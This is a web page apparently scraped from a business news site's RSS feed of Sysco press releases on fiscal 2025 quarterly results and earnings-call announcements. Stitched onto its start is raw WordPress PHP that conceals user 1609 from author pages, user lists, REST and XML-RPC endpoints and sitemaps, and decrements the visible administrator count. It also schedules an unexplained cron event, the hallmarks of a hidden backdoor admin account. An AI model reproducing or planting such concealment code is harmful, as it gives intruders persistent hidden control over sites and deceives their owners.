add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 1609;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 1609 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 1609;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 1609;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 1609;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 1609;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Sysco Archives - InsidEntity
https://ie3.euptest.org/category/companies/sysco/
Story behind company leadership and financialsWed, 29 Jan 2025 10:30:00 +0000en-US
hourly
1 https://wordpress.org/?v=7.0.1https://ie3.euptest.org/wp-content/uploads/2022/03/cropped-InsidEntity-logo_Icon-colour-32x32.pngSysco Archives - InsidEntity
https://ie3.euptest.org/category/companies/sysco/
3232Sysco: Reports Second Quarter Fiscal Year 2025 Results
https://ie3.euptest.org/sysco-reports-second-quarter-fiscal-year-2025-results/
Wed, 29 Jan 2025 10:30:00 +0000https://www.insidentity.com/?p=118496Sysco Corporation (NYSE: SYY) (“Sysco” or the “Company”) today announced financial results for its 13-week second fiscal quarter ended December 28, 2024. Key financial results for the second quarter of fiscal year 2025 include the following (comparisons are to the same period in fiscal year 2024): Sales increased 4.5%; U.S. Foodservice volume increased 1.4%; Gross profit increased 3.9% to $3.7 billion; Operating income increased 1.7% to $712 million, and adjusted operating income increased 5.1% to $783 million1; EBITDA increased 1.9% to $931 million, and adjusted EBITDA increased 4.4% to $969 million1,2; EPS3 was $0.82, in line with the same period last year, and adjusted EPS1 increased 4.5% to $0.93; Reiterating FY25 guidance, with sales growth of 4-5% and adjusted EPS growth of 6-7%; and Increasing cash return to shareholders to approximately $2.25 billion in fiscal year 2025, with share repurchase now expected at $1.25 billion, along with dividends at $1 billion. “Sysco delivered another quarter of disciplined financial performance fueled by top and bottom line growth that was consistent with expectations. We delivered compelling results in our International, SYGMA, and National sales businesses. Our International business was particularly strong, delivering a 14.5% increase in operating income, and a 26.5% increase in adjusted operating income. Our local business is beginning to show signs of progress, with improvements to our new customer win rate and our Net Promoter Scores. These outcomes, coupled with investments in sales professionals and our expanding speciality offerings, provide the pathway to increased local case volume performance in the second half of 2025. When combined with the strong success in our other three major business segments, we are confident in our ability to deliver our full year fiscal 2025 guidance,” said Kevin Hourican, Sysco’s Chair of the Board and Chief Executive Officer. “Second quarter results included improvements across the company’s core financial drivers. Combined, our efforts generated positive operating leverage and sequential improvements to gross profits and our continued operating expense control delivered margin expansion. We are encouraged by the momentum in our business and are reiterating our full-year guidance including sales growth of 4%-5% and adjusted EPS growth of 6%-7%. Consistent with our efforts to drive compelling returns on invested capital and total shareholder return for our investors, I am pleased to announce the upsizing of our share repurchase plan for the year to $1.25 billion, up from our prior plan of $1 billion,” said Kenny Cheung, Sysco’s Chief Financial Officer. 1 Adjusted financial results, including adjusted operating expense, adjusted operating income (loss), adjusted earnings per share (EPS) and adjusted EBITDA, among others, are non-GAAP financial measures that exclude certain items, which primarily include acquisition-related costs, restructuring and severance costs, and transformational project costs. Reconciliations of all non-GAAP financial measures to the nearest corresponding GAAP financial measure are included at the end of this release. 2 Earnings before interest, taxes, depreciation and amortization (EBITDA) and adjusted EBITDA are non-GAAP financial measures. Reconciliations of all non-GAAP financial measures to the nearest corresponding GAAP financial measure are included at the end of this release. 3 Earnings per share (EPS) are shown on a diluted basis unless otherwise specified. Second Quarter Fiscal Year 2025 Results (comparisons are to the same period in fiscal year 2024) Total Sysco Sales for the second quarter increased 4.5% to $20.2 billion. Gross profit increased 3.9% to $3.7 billion, and gross margin decreased 11 basis points to 18.1%. Product cost inflation was 2.1% at the total enterprise level, as measured by the estimated change in Sysco’s product costs, primarily in the dairy and poultry categories. The increase in gross profit for the second quarter was primarily driven by positive volumes and effective management of product cost inflation. Operating expenses increased 4.4%, driven by increased volumes, cost inflation, and higher business investments, partially offset by gains from sale-leaseback transactions. Adjusted operating expenses increased 3.5%. Operating income increased 1.7% to $712 million, and adjusted operating income increased 5.1% to $783 million. U.S. Foodservice Operations The U.S. Foodservice Operations segment results were positively impacted by higher volumes and gains from sale-leaseback transactions, partially offset by customer mix shifts and investments in our business. Sales for the second quarter increased 4.1% to $14.0 billion. Total case volume within U.S. Foodservice grew 1.4% for the second quarter, while local case volume within U.S. Foodservice decreased 0.9%. Gross profit increased 2.9% to $2.7 billion, and gross margin decreased 20 basis points to 18.9%. Operating expenses increased 4.7%, and adjusted operating expenses increased 3.9%. Operating income decreased 0.6% to $834 million, and adjusted operating income increased 0.9% to $859 million. International Foodservice Operations The International Foodservice Operations segment delivered continued sales growth, effective margin management, and outsized profit growth. Sales for the second quarter increased 3.6% to $3.7 billion. On a constant currency basis4, sales for the second quarter increased 4.2% to $3.7 billion. Foreign exchange rates decreased both International Foodservice Operations sales by $20 million and total Sysco sales by $21 million during the quarter. Gross profit increased 7.3% to $760 million, and gross margin increased 71 basis points to 20.4%. On a constant currency basis4, gross profit increased 7.3% to $760 million. Foreign exchange rates had no impact on International Foodservice Operations gross profit and decreased total Sysco gross profit by $1 million during the quarter. Operating expenses increased 6.4%, and adjusted operating expenses increased 4.1%. On a constant currency basis4, adjusted operating expenses increased 4.0%. Foreign exchange rates increased both International Foodservice Operations operating expenses by $1 million and total Sysco operating expenses by $1 million during the quarter. Operating income increased 14.5% to $95 million, and adjusted operating income increased 26.5% to $129 million. On a constant currency basis4, adjusted operating income increased 27.5% to $130 million. Foreign exchange rates decreased both International Foodservice Operations operating income by 1.0% and total Sysco operating income by 0.3% during the quarter. Balance Sheet, Cash Flow and Capital Spending As of the end of the quarter, the company had a cash balance of $793 million. During the first 26 weeks of fiscal year 2025, Sysco returned $803 million to shareholders via $300 million of share repurchases and $503 million of dividends. Cash flow from operations was $498 million for the first 26 weeks of fiscal year 2025, which was a decrease of $358 million compared to the prior year period. Capital expenditures, net of proceeds from sales of plant and equipment,Read More »Sysco: Reports Second Quarter Fiscal Year 2025 Results
Sysco Corporation(NYSE: SYY) (“Sysco” or the “Company”) today announced financial results for its 13-week second fiscal quarter ended December 28, 2024.
Key financial results for the second quarter of fiscal year 2025 include the following (comparisons are to the same period in fiscal year 2024):
Sales increased 4.5%; U.S. Foodservice volume increased 1.4%;
Gross profit increased 3.9% to $3.7 billion;
Operating income increased 1.7% to $712 million, and adjusted operating income increased 5.1% to $783 million1;
EBITDA increased 1.9% to $931 million, and adjusted EBITDA increased 4.4% to $969 million1,2;
EPS3 was $0.82, in line with the same period last year, and adjusted EPS1 increased 4.5% to $0.93;
Reiterating FY25 guidance, with sales growth of 4-5% and adjusted EPS growth of 6-7%; and
Increasing cash return to shareholders to approximately $2.25 billion in fiscal year 2025, with share repurchase now expected at $1.25 billion, along with dividends at $1 billion.
“Sysco delivered another quarter of disciplined financial performance fueled by top and bottom line growth that was consistent with expectations. We delivered compelling results in our International, SYGMA, and National sales businesses. Our International business was particularly strong, delivering a 14.5% increase in operating income, and a 26.5% increase in adjusted operating income. Our local business is beginning to show signs of progress, with improvements to our new customer win rate and our Net Promoter Scores. These outcomes, coupled with investments in sales professionals and our expanding speciality offerings, provide the pathway to increased local case volume performance in the second half of 2025. When combined with the strong success in our other three major business segments, we are confident in our ability to deliver our full year fiscal 2025 guidance,” said Kevin Hourican, Sysco’s Chair of the Board and Chief Executive Officer.
“Second quarter results included improvements across the company’s core financial drivers. Combined, our efforts generated positive operating leverage and sequential improvements to gross profits and our continued operating expense control delivered margin expansion. We are encouraged by the momentum in our business and are reiterating our full-year guidance including sales growth of 4%-5% and adjusted EPS growth of 6%-7%. Consistent with our efforts to drive compelling returns on invested capital and total shareholder return for our investors, I am pleased to announce the upsizing of our share repurchase plan for the year to $1.25 billion, up from our prior plan of $1 billion,” said Kenny Cheung, Sysco’s Chief Financial Officer.
1 Adjusted financial results, including adjusted operating expense, adjusted operating income (loss), adjusted earnings per share (EPS) and adjusted EBITDA, among others, are non-GAAP financial measures that exclude certain items, which primarily include acquisition-related costs, restructuring and severance costs, and transformational project costs. Reconciliations of all non-GAAP financial measures to the nearest corresponding GAAP financial measure are included at the end of this release. 2 Earnings before interest, taxes, depreciation and amortization (EBITDA) and adjusted EBITDA are non-GAAP financial measures. Reconciliations of all non-GAAP financial measures to the nearest corresponding GAAP financial measure are included at the end of this release. 3 Earnings per share (EPS) are shown on a diluted basis unless otherwise specified.
Second Quarter Fiscal Year 2025 Results(comparisons are to the same period in fiscal year 2024)
Total Sysco
Sales for the second quarter increased 4.5% to $20.2 billion.
Gross profit increased 3.9% to $3.7 billion, and gross margin decreased 11 basis points to 18.1%. Product cost inflation was 2.1% at the total enterprise level, as measured by the estimated change in Sysco’s product costs, primarily in the dairy and poultry categories. The increase in gross profit for the second quarter was primarily driven by positive volumes and effective management of product cost inflation.
Operating expenses increased 4.4%, driven by increased volumes, cost inflation, and higher business investments, partially offset by gains from sale-leaseback transactions. Adjusted operating expenses increased 3.5%.
Operating income increased 1.7% to $712 million, and adjusted operating income increased 5.1% to $783 million.
U.S. Foodservice Operations
The U.S. Foodservice Operations segment results were positively impacted by higher volumes and gains from sale-leaseback transactions, partially offset by customer mix shifts and investments in our business.
Sales for the second quarter increased 4.1% to $14.0 billion. Total case volume within U.S. Foodservice grew 1.4% for the second quarter, while local case volume within U.S. Foodservice decreased 0.9%.
Gross profit increased 2.9% to $2.7 billion, and gross margin decreased 20 basis points to 18.9%.
Operating expenses increased 4.7%, and adjusted operating expenses increased 3.9%.
Operating income decreased 0.6% to $834 million, and adjusted operating income increased 0.9% to $859 million.
International Foodservice Operations
The International Foodservice Operations segment delivered continued sales growth, effective margin management, and outsized profit growth.
Sales for the second quarter increased 3.6% to $3.7 billion. On a constant currency basis4, sales for the second quarter increased 4.2% to $3.7 billion. Foreign exchange rates decreased both International Foodservice Operations sales by $20 million and total Sysco sales by $21 million during the quarter.
Gross profit increased 7.3% to $760 million, and gross margin increased 71 basis points to 20.4%. On a constant currency basis4, gross profit increased 7.3% to $760 million. Foreign exchange rates had no impact on International Foodservice Operations gross profit and decreased total Sysco gross profit by $1 million during the quarter.
Operating expenses increased 6.4%, and adjusted operating expenses increased 4.1%. On a constant currency basis4, adjusted operating expenses increased 4.0%. Foreign exchange rates increased both International Foodservice Operations operating expenses by $1 million and total Sysco operating expenses by $1 million during the quarter.
Operating income increased 14.5% to $95 million, and adjusted operating income increased 26.5% to $129 million. On a constant currency basis4, adjusted operating income increased 27.5% to $130 million. Foreign exchange rates decreased both International Foodservice Operations operating income by 1.0% and total Sysco operating income by 0.3% during the quarter.
Balance Sheet, Cash Flow and Capital Spending
As of the end of the quarter, the company had a cash balance of $793 million.
During the first 26 weeks of fiscal year 2025, Sysco returned $803 million to shareholders via $300 million of share repurchases and $503 million of dividends.
Cash flow from operations was $498 million for the first 26 weeks of fiscal year 2025, which was a decrease of $358 million compared to the prior year period.
Capital expenditures, net of proceeds from sales of plant and equipment, for the first 26 weeks of fiscal year 2025 were $167 million.
Free cash flow5 for the first 26 weeks of fiscal year 2025 was $331 million, which was a $196 million decrease compared to the prior year period.
]]>Sysco: To Announce Second Quarter Fiscal Year 2025 Financial Results On 28th January 2025
https://ie3.euptest.org/sysco-to-announce-second-quarter-fiscal-year-2025-financial-results-on-28th-january-2025/
Wed, 08 Jan 2025 09:27:17 +0000https://www.insidentity.com/?p=113869Sysco Corporation (NYSE: SYY) will host a conference call and webcast to discuss its second quarter fiscal year 2025 financial results at 10 a.m. EDT on Tuesday, Jan. 28, 2025. All interested parties are invited to listen online at investors.sysco.com. Before the conference call and webcast, the company will also issue a news release and post a slide presentation in the investor relations section of its website. A replay of the webcast will be available online shortly after the live webcast is completed. For purposes of public disclosure, including this and future similar events, Sysco uses the investor relations section of its website, found at investors.sysco.com, as the primary channel for publishing key information to its investors, some of which may contain material and previously non-public information. About Sysco Sysco is the global leader in selling, marketing and distributing food products to restaurants, healthcare and educational facilities, lodging establishments and other customers who prepare meals away from home. Its family of products also includes equipment and supplies for the food service and hospitality industries. With more than 76,000 colleagues, the company operates 340 distribution facilities worldwide and serves approximately 730,000 customer locations. For the fiscal year 2024 which ended June 29, 2024, the company generated sales of more than $78 billion. Information about our Sustainability program, including Sysco’s 2024 Sustainability Report and 2024 Diversity, Equity & Inclusion Report, can be found at www.sysco.com. For the full document click the link below: Sysco Corporation Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.
Sysco Corporation (NYSE: SYY) will host a conference call and webcast to discuss its second quarter fiscal year 2025 financial results at 10 a.m. EDT on Tuesday, Jan. 28, 2025.
All interested parties are invited to listen online at investors.sysco.com. Before the conference call and webcast, the company will also issue a news release and post a slide presentation in the investor relations section of its website. A replay of the webcast will be available online shortly after the live webcast is completed.
For purposes of public disclosure, including this and future similar events, Sysco uses the investor relations section of its website, found at investors.sysco.com, as the primary channel for publishing key information to its investors, some of which may contain material and previously non-public information.
About Sysco
Sysco is the global leader in selling, marketing and distributing food products to restaurants, healthcare and educational facilities, lodging establishments and other customers who prepare meals away from home. Its family of products also includes equipment and supplies for the food service and hospitality industries. With more than 76,000 colleagues, the company operates 340 distribution facilities worldwide and serves approximately 730,000 customer locations. For the fiscal year 2024 which ended June 29, 2024, the company generated sales of more than $78 billion. Information about our Sustainability program, including Sysco’s 2024 Sustainability Report and 2024 Diversity, Equity & Inclusion Report, can be found at www.sysco.com.
]]>Sysco: To Announce First Quarter Fiscal Year 2025 Financial Results on The 29th of October
https://ie3.euptest.org/sysco-to-announce-first-quarter-fiscal-year-2025-financial-results-on-october-29/
Wed, 09 Oct 2024 12:33:17 +0000https://www.insidentity.com/?p=98628Sysco Corporation (NYSE: SYY) will host a conference call and webcast to discuss its first quarter fiscal year 2025 financial results at 10 a.m. EDT on Tuesday, Oct. 29, 2024. All interested parties are invited to listen online at investors.sysco.com. Prior to the conference call and webcast, the company will also issue a news release and post a slide presentation in the investor relations section of its website. A replay of the webcast will be available online shortly after the live webcast is completed. For purposes of public disclosure, including this and future similar events, Sysco uses the investor relations section of its website, found at investors.sysco.com, as the primary channel for publishing key information to its investors, some of which may contain material and previously non-public information. About Sysco Sysco is the global leader in selling, marketing and distributing food products to restaurants, healthcare and educational facilities, lodging establishments and other customers who prepare meals away from home. Its family of products also includes equipment and supplies for the food service and hospitality industries. With more than 76,000 colleagues, the company operates 340 distribution facilities worldwide and serves approximately 730,000 customer locations. For fiscal year 2024, which ended June 29, 2024, the company generated more than $78 billion sales. Information about our Sustainability program, including Sysco’s 2023 Sustainability Report and 2023 Diversity, Equity & Inclusion Report, can be found at www.sysco.com. For more information, visit www.sysco.com or connect with Sysco on Facebook at www.facebook.com/SyscoFoods. For important news and information regarding Sysco, visit the Investor Relations section of the company’s Internet home page at investors.sysco.com, which Sysco plans to use as a primary channel for publishing key information to its investors, some of which may contain material and previously non-public information. In addition, investors should continue to review our news releases and filings with the SEC. It is possible that the information we disclose through any of these channels of distribution could be deemed to be material information. For the full document click the link below: Sysco Corporation Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.
Sysco Corporation (NYSE: SYY) will host a conference call and webcast to discuss its first quarter fiscal year 2025 financial results at 10 a.m. EDT on Tuesday, Oct. 29, 2024.
All interested parties are invited to listen online at investors.sysco.com. Prior to the conference call and webcast, the company will also issue a news release and post a slide presentation in the investor relations section of its website. A replay of the webcast will be available online shortly after the live webcast is completed.
For purposes of public disclosure, including this and future similar events, Sysco uses the investor relations section of its website, found at investors.sysco.com, as the primary channel for publishing key information to its investors, some of which may contain material and previously non-public information.
About Sysco
Sysco is the global leader in selling, marketing and distributing food products to restaurants, healthcare and educational facilities, lodging establishments and other customers who prepare meals away from home. Its family of products also includes equipment and supplies for the food service and hospitality industries. With more than 76,000 colleagues, the company operates 340 distribution facilities worldwide and serves approximately 730,000 customer locations. For fiscal year 2024, which ended June 29, 2024, the company generated more than $78 billion sales. Information about our Sustainability program, including Sysco’s 2023 Sustainability Report and 2023 Diversity, Equity & Inclusion Report, can be found at www.sysco.com.
For more information, visit www.sysco.com or connect with Sysco on Facebook
at www.facebook.com/SyscoFoods. For important news and information regarding Sysco, visit the Investor Relations section of the company’s Internet home page at investors.sysco.com, which Sysco plans to use as a primary channel for publishing key information to its investors, some of which may contain material and previously non-public information. In addition, investors should continue to review our news releases and filings with the SEC. It is possible that the information we disclose through any of these channels of distribution could be deemed to be material information.